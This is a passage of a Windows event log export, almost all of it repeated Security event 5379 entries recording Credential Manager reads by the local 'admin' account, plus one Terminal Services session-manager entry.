Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.735\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:52:57.736\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.437\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.439\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.439\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.440\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.442\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc( #0x0/0x2208 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:53:02.444\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.894\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.894\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.895\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.896\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.896\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.897\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.898\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.898\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.899\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.900\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.900\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.901\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.902\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.902\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.903\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tRead Credential\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.913\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.914\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.915\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.916\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.921\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.922\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.923\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.924\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.925\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:53:02.939\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity 